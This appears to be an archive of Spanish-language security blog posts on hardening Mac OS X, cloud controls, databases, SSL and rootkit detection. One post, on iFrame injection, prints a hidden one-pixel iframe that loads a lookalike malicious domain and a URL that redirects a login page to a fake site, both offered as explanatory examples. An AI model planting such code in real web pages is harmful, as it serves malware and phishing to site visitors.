Mostrando entradas con la etiqueta Hardening. Mostrar todas las entradas
Mostrando entradas con la etiqueta Hardening. Mostrar todas las entradas

16 de marzo de 2011

Snow Leopard Fast Hardening

Tras 16 años utilizando equipos WINTEL, con pequeñas escaramuzas sobre Linux y algún clon de Unix hace un par de meses pasé al mundo MAC adquiriendo un IMac. La experiencia positiva con el Iphone 3G, único teléfono que me ha durado más de 18 meses (a día de hoy va camino de los 30 y lo que te rondaré morena), me decidí a dar el paso y sin tan siquiera probar una máquina virtual con el famoso MAC OS X (en cualquier de sus versiones de la jungla puma, jaguar, tiger, leopard, etc.) me lancé a la Apple Store y encargué mi “manzanita”.


Y con ella llevo más de dos meses contento y feliz, ningún problema de compatibilidad, videojuegos de Steam, una gran biblioteca software, mi Virtual Box para esas máquinas virtuales, la vida me sonríe en una pantalla de 21.5’’. O no, por que no podía creer que tuviera algunos fallos de configuración segura propios del comienzo de Windows XP, arremangado me cogí la guía de Snow Leopard Secure Configuration y di un cocotazo contra la mesa al ver las 272 páginas de seguridad. Buscando un poquito no encontré un “Proteja a su Leopardo en 10 pasos” (no vaya a coger frío con la snow :-p) así que me dije, voy a dejar aquí lo más interesante. En mi opinión es esto:

Mac OS X 10.6 Hardening 10 Tips:

1.- ¡Habilite la autenticación!: Esto quiere decir, que esté deshabilitado el login automático, que no se provea información de los usuarios del sistema en la pantalla de inicio, también podemos habilitar access warnings o bloqueo ante intentos reiterados, pero es algo más complejo. Lo sencillo, en General à Cuentas à Login Options

2.- ¡Habilite el protector de pantalla!: Esto es muy recomendable, no solo por ahorrar energía, siempre que nos levantemos del equipo este debe estar bloqueado. Podemos habilitar el protector de pantalla por ejemplo, a los 5 minutos y que solicite autenticación a la vuelta. Como aquí no existe la combinación Windows + L para bloquear la pantalla deberemos configurarlo nosotros, lo más sencillo es hacerlo a través de una de las esquinas:

3.- ¡Habilite el firewall!,,,¡y el Stealth Mode!: Pues si, el Snow Leopard viene con el firewall deshabilitado por defecto. Así que corriendo a General à Seguridad à Firewall a habilitarlo. También conviene que bloqueemos todas las conexiones entrantes o al menos que nos salte un warning. Un modo también recomendable a activar es el “Stealth Mode”, que hará al equipo “invisible” en la red. Esto es, que no responderá a tráfico ICMP. También tenemos un firewall de aplicación para permitir solo las conexiones de software firmado, muy recomendable.

4.- Instale un antivirus. Esto es básico, si todavía crees que en MAC OSX (Unix)no hay malware tengo una mala noticia. Hay, y cada vez habrá más, como desde Seguridad Apple nos contaban no es comparable con Windows por ahora pero si Steve Jobs se sigue esforzando en vender manzanitas, no tardará. En la página de Apple hay decenas de herramientas de seguridad, algunas antivirus, entre los gratuitos me gusta mucho el Sophos, curiosamente me detectó un troyano de Windows hace unos días :D

5.- Deshabilite la compartición de recursos (¡también en Itunes!). No es bueno ser tan generoso, deshabilita la compartición de recursos, carpetas, impresoras, todo. Deja exclusivamente lo que necesites, también en Itunes, por suerte hay algunos impresentables que NO lo hacen.

6.- Deshabilite los servicios no necesarios. Entre servicios no necesarios pueden ser de red (Bonjour), pero yo también metería aquí el Bluetooth, infrarrojos, wifi, etc. La regla es sencilla, si no lo utilizas no lo habilites.

7.- ¡Actualizaciones automáticas!. Actualizar, actualizar y actualizar, hasta que parezca que vengas del futuro. Está a dos clicks desde la manzanita de la esquina ;-) El equivalente de Secunia para Leopard o lo más parecido que hay es la MAC Apple Store (esto lo estoy suponiendo, no la tengo instalada) te revisará todo lo que hayas adquirido.

8.- ¡Habilite Firmware Password Utility! El EFI (Extensible Firmware Interfaz) en los equipos de Apple es el equivalente a la BIOS que todos conocéis. También debemos protegerla sobretodo para garantizar que no arranquen desde unidades externas o nos realicen ataques relacionados con la seguridad física. Esto deberemos realizarlo por el terminal de comandos:

9.- ¡Cifre!, ¡Cifre por Dios!. Gracias a la utilidad FileVault podemos cifrar todos nuestros documentos, mejor dicho, todo lo que tengamos dentro de “Mis Documentos”. Me consta que utiliza el algoritmo simétrico AES 256 bits, por lo que podemos estar relativamente tranquilos si no utilizamos una contraseña de diccionario y a pesar de algunos ataques que ya os conté por aquí. Este proceso tara un poquito la primera vez, por lo que es recomendable activar el FileVault desde el día 0. También podemos habilitar el cifrado de la memoria virtual que cifrará la partición SWAP.

10.- Concienciación. Siento defraudaros, no existe la medida 10, iba a introducir algo un poco raro como “deshabilitar las búsquedas de sistemas sobre nuestras carpetas más confidenciales” pero es un absurdo. La seguridad al fin y al cabo está en el usuario, en no abrir esos correos de procedencia dudosa, en no instalar el software que nos encontramos en redes P2P, en utilizar credenciales previsibles, en tener concienciación de que hay muchas cosas que nos podemos jugar a la hora de utilizar un ordenador, sea para disfrute personal o para el trabajo, es preciso que el usuario (tu, tus amigos, tus familiares) esté sensibilizado de las distintas amenazas que subyacen por el mero hecho de utilizar la tecnología, sea un ordenador, un teléfono, un GPS o una PlayStation 3.

Quizás os sepa a poco, podríamos hablar de borrado seguro de datos, de seguridad en Time Machine, de proteger las conexiones bluetooth,,,etc. Pero me conformo con que 3 o 4 de esos lectores habituales implementen estas 10, si todavía no se sienten seguros siempre pueden acudir a la guía oficial, coger los 272 folios y … ¡suerte!

Un saludo, en especial a esos pocos lectores que según veo por aquí, tengo desde Japón. Animo y un fuerte abrazo.

16 de febrero de 2011

Controles de Seguridad en la nube.

¡Buenos días!, hoy os traigo un pequeño documento que puede ser las delicias de muchos consultores de seguridad. Seguramente en vuestra empresa también estén migrando “a la nube”, no precisamente por que la gente esté en la parra, sino que por que es una moda tecnológica con consabidos beneficios económicos y de rendimiento que no analizaré. El problema es como adecuar la seguridad de nuestros sistemas tradicionales a la nube, ¿cómo debo modificar mis controles de seguridad?, ¿Qué nuevos requisitos debo considerar?, bueno los análisis más simplistas dirán “todo es igual” solo que virtualizado, aplica los mismos controles que tenías antes, eso nos puede dejar medianamente satisfechos pero no es del todo cierto. Para que lo comprobéis os dejo este Excel que, aunque se queda a muy alto nivel, os puede ser de mucha utilidad. Os explico por qué:

Control DG-07

“Security mechanisms shall be implementd to prevente data leakage”.

Áreas de Implementación:

SaaS, IaaS, PaaS, Service Provider

  • COBIT à COBIT 4.1 DS 11.6
  • ISO/IEC 27001:2005 à A.10.6.2, A.12.5.4
  • NIST à NIST SP800-53 R3 AC-2, NIST SP800-53 R3 AC-3, NIST SP800-53 R3 AC-4, NIST SP800-53 R3 AC-6, NIST SP800-53 R3 AC-11, NIST SP800-53 R3 AU-13, NIST SP800-53 R3 PE-19, NIST SP800-53 R3 SC-28, NIST SP800-53 R3 SA-8, NIST SP800-53 R3 SI-7
  • PCI-DSS à PCI DSS v2.0 3.1, PCI DSS v2.0 3.1.1, PCI DSS v2.0 3.2, PCI DSS v2.0 9.9.1, PCI DSS v2.0 9.5, PCI DSS v2.0 9.6, PCI DSS v2.0 10.7

En la lista de 100 controles propuestos, mapeados con diferentes dominios (que no coinciden con los de la ISO 27000, aunque son parecidos), te indica donde es obligatorios que lo implantes si quieres cumplir a su vez con los controles del resto de normativas o estándares de referencia. Por tanto desde el punto de vista del Gobierno de la Información así como de garantizar el cumplimiento con las distintas auditorías este Excel que tan bien se ha trabajado la Cloud Security Alliance puede ser el maná.

Salu2

PD: No dejéis de ver otros documentos como la guía de la nube o las amenazas sobre esta (por ejemplo, que los chinos te bombardeen para sacarte el agua).

11 de abril de 2010

Qubes-OS

¡Hola!, vuelvo tras unas semanas de ausencia con una noticia fresquita fresquita. Hace escasos días ha sido presentado el sistema operativo Qubes, sus creadores, The Invisible Things Labs (los mismos que apadrinaron al hombre invisible :-p) nos lo presentan como "open source operating system designed to provide strong desktop computing", hay quien lo ha tildado ya como el sistema operativo más seguro del mundo (una de esas frases rimbombantes para animar el cotarro), veámoslo brevemente por encima:


Qubes está basado en Linux, concretamente en la distribución Fedora 12, ahora mismo está diseñado para funcionar en procesadores de 64 bits y, aunque puedes hacerlo, no se recomienda su instalación como máquina virtual, y esto es por que Qubes se basa principalmente en la defensa por "aislamiento", extrapolando el concepto de virtualización que vimos en Sandboxie a todas las aplicaciones del Sistema Operativo. Si repasamos el documento de arquitectura de Qubes veremos esta virtualización con claridad. Fedora 12 + Xen hypervisor, a partir de ahí una serie de dominios virtualizados clasificados en categorías (de hecho, podremos saber que categoría tiene una aplicación por el color que la rodea en el escritorio) y que extienden el aislamiento de procesos típico de los sistemas operativos otorgándole un nivel mayor de seguridad y robustez ante amenazas:
Qubes generará tantas AppVM o "mini máquinas virtuales" como aplicaciones hayamos lanzado, asegurándose de que no existen recursos compartidos entre ellas o si existen es por que el usuario lo ha autorizado, ¿como?, a través del "Copy Paste Seguro" (flipa). Las aplicaciones no tienen acceso al clipboard y solo el usuario es quien puede "autorizar" a que un trozito de memoria sea accedido por una tercera aplicación. ¿Cuantas AppVM podemos tener?, los autores dicen que muchas, señalando que el consumo de recursos del sistema no es excesivo, estando a la altura de otros sistemas operativos actuales.

Sobretodas estas capas de virtualización y dominios hay uno que los gobierna a todos, uno en el que corre el core del sistema operativo y cuya comunicación con los "gestores de dominio" se ha disminuido al máximo, tanto que se está estudiando si este dominio 0 no debería estar ubicado "en la nube" (aquí ya sería cuando se juntaría la virtualización y la nube en una elegante solución tecnológica). Para más inri, Qubes aprovecha toda la tecnología Intel de Trusted Execution que vimos hace unos meses, haciendo uso de las instrucciones, sistemas criptográficos asimétricos y beneficios que supone la implantación de instrucciones de seguridad y aislamiento desde el mismo procesador.

He de reconocer que sobre el papel tiene muy buena pinta, espero poder montarme mi "mini laboratorio" y poder hacer cositas con este nuevo sistema operativo que, si bien puede ser demasiado incómodo para los usuarios de la calle (sobretodo aquellos que maldecían el UAC de Windows Vista) puede tener mucho sentido en ambientes donde la seguridad es crítica. Estaremos atentos a la evolución de este proyecto que, sin aportar grandes novedades, mezcla muchos de los conceptos y tecnologías que hay en el mercado ofreciendo un producto que deja buenas vibraciones.

Salu2!!

PD: Discúlpenme mis lectores por la poca frecuencia de entradas, lamentablemente va a ser la tónica general a partir de ahora y es que, como en la vida, nuevos proyectos se avecinan para sustituir a los anteriores.

5 de marzo de 2010

SSL Harden

En estos días donde parece que nada es seguro la tendencia es a cifrarlo todo, esto muchas veces no aplica solo a transferencias por redes inseguras (dice ser, Internet). Si no que también nos ocurre que comunicaciones por redes privadas como, una macrolan entre empresas, una conectividad intra-cpd, etc. requiere de ser cifrada. Con el uso cada vez menor de las VPN – IPSec que, por lo general, son consideradas menos seguras (hay quien diría que cómodas) que las VPN – SSL parece que la Secure Socket Layer se ha convertido en la panacea del cifrado para la transmisión de datos. Portales Web, conexiones a listeners de BBDD, redes privadas virtuales, etc. Nada más lejos de la realidad.

Hoy os presento una herramienta, SSL Harden que nos muestra todos los modos que SSL / TLS soporta, con los distintos algoritmos de intercambio de claves así como de cifrado simétrico soportados. Esta aplicación se basa en el paquete de SCHANNEL de Microsoft para detectar la forma en que implementa esta capa. Así podrá escanear un servidor y obtener toda la información sobre la configuración del servicio, detectando por ejemplo el soporte a Modolus 1, el cual si está activado hará que un servidor / cliente permita comunicaciones en las cuales la clave pública de RSA tiene exponente 1, estando la clave privada a 1 también. Esto es comunicaciones que parecen estar cifradas no lo son, van en claro.

Para escanear máquinas en el dominio necesitareis ser administrador del mismo, la aplicación si tiene los privilegios suficientes podrá configurar tu equipo editando las entradas de registro.

El SSL-Harden está en beta por lo que hay veces que se cuelga de forma absurda, aun así merece la pena echarle un ojo.

Salu2!

4 de septiembre de 2009

Sys Internals

Hagamos un Kit Kat en esta semana intensa de vuelta a la normalidad para presentaros un pack de herramientas de Windows, si con las Net Tools teníamos casi todo lo que hace falta para trabajar a nivel de red (como vimos aquí ) con Sys Internals tendremos un control mucho mayor sobre lo que pasa en nuestra máquina Windows (preferiblemente XP, algunas de ellas no se llevan bien con WVista y W7, otras sí) a nivel de procesos, registro de Windows, arranque del sistema operativo, conexiones de red e incluso un detector de Rootkits!, Merece la pena:

Process Explorer (): Un básico con unos añitos del que ya se oyó hablar cuando vimos el Svchost Analyzer. Procesos padres, hijos, consumo de CPU, hilos lanzados, consumo de CPU, etc. Una gozada:

PSTools : Pack de herramientas de gestión de procesos, con las que podremos jugar todo lo que queramos en nuestros sistema (o en otros xD) incluye:

- PsExec: Ejecuta procesos de forma remota.

- PsFile: Muestra archivos abiertos de forma remota.

- PsGetSid: Muestra el SID de un equipo o un usuario.

- PsInfo: Muestra información acerca de un sistema.

- PsKill: Elimina los procesos por el nombre o Id. de proceso.

- PsList: Muestra información acerca de procesos.

- PsLoggedOn: Averigua quién ha iniciado sesión de forma local y a través de recursos compartidos (origen completo incluido).

- PsLogList: Vuelca los registros de eventos.

- PsPasswd: Cambia las contraseñas de cuenta.

- PsService: Muestra y controla los servicios.

- PsShutDown: Apaga y reinicia opcionalmente un equipo.

- PsSuspend: Suspende los procesos.

- PsUptime: Muestra el tiempo durante el que se ha ejecutado un sistema desde el último reinicio (la funcionalidad de PsUptime se ha incluido en PsInfo).

AutoRuns: El comando msconfig nos permite editar el boot.ini, ver que servicios se arrancan con nuestro Sistema Operativo y que programas se ejecutarán sin necesidad de que estén en la carpeta de “Inicio”, todo eso está muy bien y es básico, pero con AutoRuns alcanzaremos una granularidad mucho mayor, librerias, drivers, tareas del scheduled, ¡codecs!, de todo lo que os podáis imaginar. Muy útil para entender como funciona nuestro sistema operativo:

RootkitRevealer: ¿Crees que tu antivirus no lo detecta todo? Entonces crees bien, si quieres echar un vistazo rápido a tu registro de Windows y detectar inconsistencias, buscar el gato encerrado que hay en tu sistema operativo y alimentar tu paranoia, esta es tu herramienta:

TCPView: Yo creo que si los millones de Script Kiddies del mundo que buscan en los foros el Puerto del messenger conocieran esta herramienta saldrían hackers como setas. No, en serio, con TCPView tendremos un conocimiento casi total sobre todos los flujos TCP y UDP que llegan y salen de nuestra máquina, su estado, el proceso que los inició (algo parecido al netstat –ban pero más profundo) así como la posibilidad de matar los procesos o cerrar las conexiones que no tengan buena pinta, muy util:

Poco a poco vamos ampliando nuestro kit de herramientas, ¿verdad?

Espero que tengáis una vuelta “amable”, ¡salu2!

24 de junio de 2009

iFrame Injection

Journalist: Do you think that something like Skynet is possible in the future?

Security Consultant: While just one Security Consultat keep breathing, that won’t happen.

Una cosa que siempre me ha causado cierta admiración es la habilidad e imaginación que las mentes de los “hackers” son capaces de desarrollar a la hora de generar sus ataques. Es una curiosa mezcla entre una gran conocimiento metodológico y sistemático de unos sistemas diseñados por el hombre sobre una base matemática y algebraica que a su vez requiere de gran creatividad e imaginación para obtener nuevas puertas, vulnerabilidades, brechas o como quieras llamarlo sobre sistemas que ya otras muchas personas se estuvieron comiendo la cabeza antes como diseñar. Recuerda un poquito a una partida de ajedrez, los movimientos son conocidos y limitados, pero las posibilidades casi infinitas (como la paradoja del grano de arroz y el tablero de ajedrez).

Esta mañana revisaba un paper con los principales vectores de ataque que el cybercrimen está utilizando en esta primera mitad del 2009, entre los que destacan estos 5:

- SQL Injection

- iFrame Injection

- Encryption Wrappers (malware)

- File Masquerading (algo que ya vimos en el Rosillo Project)

- Encryption techniques in peer to peer systems for bypass web gateways inspection systems.

El documento hace referencia a como los chicos malos utilizan tecnología tan interesante como el Grid Computing para lograr una cantidad ingente de recursos a su disposición (son las conocidas como botnets) y utilizar a su antojo. Independientemente de la opinión que os merezcan estos 5 vectores hay uno del cual llevaba sin escuchar mucho tiempo, es el iFrame Injection.

iFrame Injection

Hagamos un poquito de literatura, un iFrame o “marco incorporado” (que mal suena) es un trozito de codigo HTML que permitirá incrustar un objeto html dentro de una pagina html. Esto puede tener muchas utilidades, entre ellas la publicidad, pero alguien no tardó mucho tiempo en aprovecharse de estos “marcos” con fines delictivos. Todos recordamos esa oleada de correos que en los años 2002-2004 no había siquiera que abrir, ya que incluían código maligno que ejecutaba el gusano anexo del correo que a su vez aprovechaba una vulnerabilidad del Explorer para hacer su trabajo. Toda una interesante vuelta para llegar al objetivo de siempre: comprometer un sistema. Original, ¿verdad?

La idea se ha reciclado un poquito y vuelve a la carga, la definición que se da en el paper es la siguiente:

"iFrame injections can be as small as 1x1 white píxel at the bottom of a web page uncen by the visitor and linked to active scripts that download malware from an obscure Server"

Según Symantec cada dia unas 3000 páginas web son infectadas, algunas de ellas mediante esta técnica que bien podría utilizarse también para hacer phishing, ¿cómo? Supongamos que logro comprometer un servidor web desarrollado en ,,, digamos php (por poner un ejemplo). Supongamos que inyecto en el archivo index.php (los iFrames no son exclusivos del código HTML) el siguiente código maligno:

iframe src=”http://goooogleadsence.biz/?click=8F9DA” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

Como se puede apreciar el atributo de visibilidad está en “oculto”, con lo cual no se mostrará en pantalla, sin embargo se ejecutará. Lo cual cargará una pagina web maligna dentro de “la buena”. Si el sitio ya ha sido catalogado por google como “maligno” es muy probable que nos salte un disclaimer como el siguiente:

Que a su vez nos permitirá ejecutar el “Safebrowsing” de google, quien nos informará del estado de esa Web en los últimos 90 dias, por ejemplo si queremos ver el número de infecciones del Marca nos dirá:

Por lo que podremos ver mañana la victoria de España a EE.UU. con tranquilidad (esperemos). Un consejo, consultad vuestra entidad bancaria, hay alguna sorpresilla.

Esto como suponeis puede ser una pesadilla para un administrador web que tiene que recorrer todas las páginas comprometidas buscando una cadena de texto y eliminándola / reparándola, a veces son cosas tan sencillas como sustituir una referencia por otra:

https://www.victim.foo/index.php?targeturl=http://fake_victim.foo/login.php

Se puede incluso complicar la detección de estas URL para que pase totalmente desapercibida valiéndonos de alguna de las técnicas de “Proxy Jocking” que vimos hace poco, haciéndonos pensar que todo está bien cuando no es así.

Info adicional:

Cleaning iFrame Injections

Frame Injection Fun

Clean.PHP (encuentra patrones conocidos en tu sitio web)

Web Legales en Jaque (Panda - WhitePaper)

Como veis, "nuevas" amenazas para viejos vectores de ataque.

Salu2!

7 de junio de 2009

RootKit Hunter

Lo reconozco, me resulta muy cómodo trabajar desde Windows, tanto es así que tengo que obligarme cada cierto tiempo a hacer cositas en Linux para no olvidar "la otra forma" de hacer las cosas, mucho más cercana al Sistema Operativo y que nos recuerda conceptos que con los años van quedando semi-enterrados.

A raíz de unos informes sobre configuración segura de Red Hat con los que tuve que colaborar recientemente me volvió la eterna pregunta, ¿qué hacemos con el malware en Linux?, la creencia popular es que en Linux no hay virus, aunque si hay algo de lo que no podemos vivir los Consultores es de la "vox populi", todavía recuerdo el artículo de Kriptopolis donde hablaban de la creación de un virus en 5 pasos... , asi que decidí indagar herramientas antimalware que puedan ser interesantes.

Con todo este previo me encontré el Rootkit Hunter, repasemos, ¿qué es un rootkit?, tirando de wikipedia os diré que: "Un rootkit es una herramienta, o un grupo de ellas que tiene como finalidad esconderse a sí misma y esconder otros programas, procesos, archivos, directorios, claves de registro, y puertos que permiten al intruso mantener el acceso a un sistema para remotamente comandar acciones o extraer información sensible, a menudo con fines maliciosos o destructivos" en palabras más llanas aún, es un, vamos a entrar en tu caja fuerte y encima nos vamos a asegurar que sigamos entrando cuando querramos sin que te enteres.

Hmmm, de esto si que tenemos en Linux, y mucho, pues bien este programita de sencilla utilización nos ayudará a detectarlos y asegurarnos que el sistema no ha sido comprometido, no tiene una backdoor oculta y no hay ninguna herramienta en la penumbra con intenciones de aparecer cuando no hay nadie mirando, ¿interesante, verdad?

Rootkit Hunter ya corre por su versión 1.3.4 puede descargarse desde aquí aunque si sois más comodos podeis acudir al legendario: apt-get install rkhunter con lo que se descargará e instalará con las opciones por defecto, otra forma es hacerlo así:

Lo normal es que tras la descarga dispongamos de la versión actualizada aunque con un "rkhunter --update" nos aseguramos, después solo basta un "rkhunter --check" para comprobar nuestro sistema (todo ello como root, claro):

En este caso salvando varios warnings parece que me he escapado de los más de 100 rootkits que detecta (entre otras cosas), aunque es normal, arranco desde Ubuntu una vez cada 15 dias, sobretodo ahora que le estoy dando caña a la RC de Windows 7, de la cual espero que hablemos otro día.

Buena semana a todos y, buena caza :)

13 de mayo de 2009

Database Hardening

Haz 100 flexiones más, 200 abdominales y da 15 vueltas al campo de fútbol.

Respuesta: Ufff, si que es difícil endurecer los servicios.

Todos sabemos que donde nosotros vemos ladrillos, medidas de seguridad, obstáculos a saltar, etc. Los chicos malos ven grietas, agujeros y facilidades, después de casi un año leyendo estas líneas creo que no os sorprendo si digo que no hay ninguna medida de seguridad o herramienta que sea la panacea, así que la única solución es utilizar varias de ellas que trabajen codo con codo con un objetivo común. La estrategia utilizada para que todo esto funcione como un engranaje se llama “defensa en profundidad”, y ya la utilizaban los militares en la 2ª Guerra Mundial y posiblemente, mucho antes.

¿Cuál es la profundidad aquí? Pues hay muchas y depende de cómo se mire, pero nosotros lo vamos a llamar arquitectura multicapa (frontend – middleware – backend). Si ponemos un nuevo servicio en producción, es lógico y normal que hagamos “hardening” del mismo, eso se suele traducir en bastionar el equipo, eliminar usuarios y contraseñas por defecto, deshabilitar servicios innecesarios, configurar control de acceso, etc. etc. Todo esto está bien pero, ¿qué pasa con las otras capas? Estamos dando por sentado que nadie pasará la frontera de Bélgica y holanda, pero esto ya les pasó a los franceses y ya sabéis como acabó .

Hoy vamos a hacer hardening del backend y vamos a ver cómo nunca tenemos que perder de vista los datos, el verdadero foco de la cuestión. Redactar todas las cositas que hay que mirar en un backend puede ser un checklist bastante extenso que seguramente no aporte mucho, casi todos los sistemas tienen sus checklist publicados, ya sea vía proveedor, vía NIST, etc. Lo que vamos a hacer es concentrarnos en tres cosas:

-   Detectar fallos de configuración (cuentas por defecto, servicios innecesarios, etc.)

-   Detectar vulnerabilidades software (no hay una política de “critical path update”)

-   Detectar mal uso (cuenta de administrador compartida por varios usuarios, consultas al backend con excesivos privilegios).

Existen herramientas para automatizar estos análisis especializadas en bases de datos como son AppDetective o NGSSQuirrel, la diferencia de los escáneres tradicionales con estos radica en la especialización, si bien un Nessus te detectará vulnerabilidades de todo tipo en dispositivos de red, servidores, Workstation, etc. nunca podrá realizar exámenes tan exhaustivos como por ejemplo Nikto hace con servidores web o AppDetective con una base de datos. Pero no solo de escáneres vive el Consultor, aunque con ellos y nuestro conocimiento (valor añadido) podremos comenzar a detectar fallos y recomendar medidas de hardening.

Medidas adicionales que nos ayudarán a mantener todo securizado (la seguridad es un proceso, recordemos) será habilitar un detector de cambios en la configuración, para ello tenemos herramientas como Intrust de Quest Software (que ya nos contó Carles Matin) o algunas más sencillas como habilitar las opciones de auditoria de SQL Server (si es esa nuestra BBDD).

Finalmente tenemos los datos, el quiz de la cuestión, toda la estrategia “defense in depth” se basa en este tesoro que puede ser expuesto a pesar de todo lo dicho hasta ahora. Una puerta trasera, una copia no autorizada, una migración de backend, unas pruebas desde otros entornos como certificación, desarrollo, etc. y ya tenemos nuestra temida fuga de datos. La principal medida en estos casos pasa por hacer lo que en el CISSP llamaban “Data Sanization” y que se traduce en preparar esos datos sensibles para que no pierdan su estructura (claves foráneas, atributos, tablas relacionales, etc.) y sin embargo no se puedan entender o pierdan su significado, es decir, ofuscar los datos. Para ello me he guardado en último lugar una herramienta que descubrí hace unos días, se llama Data Masker y tiene una funcionalidad interesante. Permite conectarse a las bases de datos, obtener su estructura, crear reglas de ofuscado, ejecutarlas, etc:


DataMasker: Autenticación en las conexiones.
DataMasker: Tablas de ejemplo para jugar.

Y esto es todo por hoy, recordad, proteger el frontend está muy bien pero...¡el foco siempre en los datos!

Salu2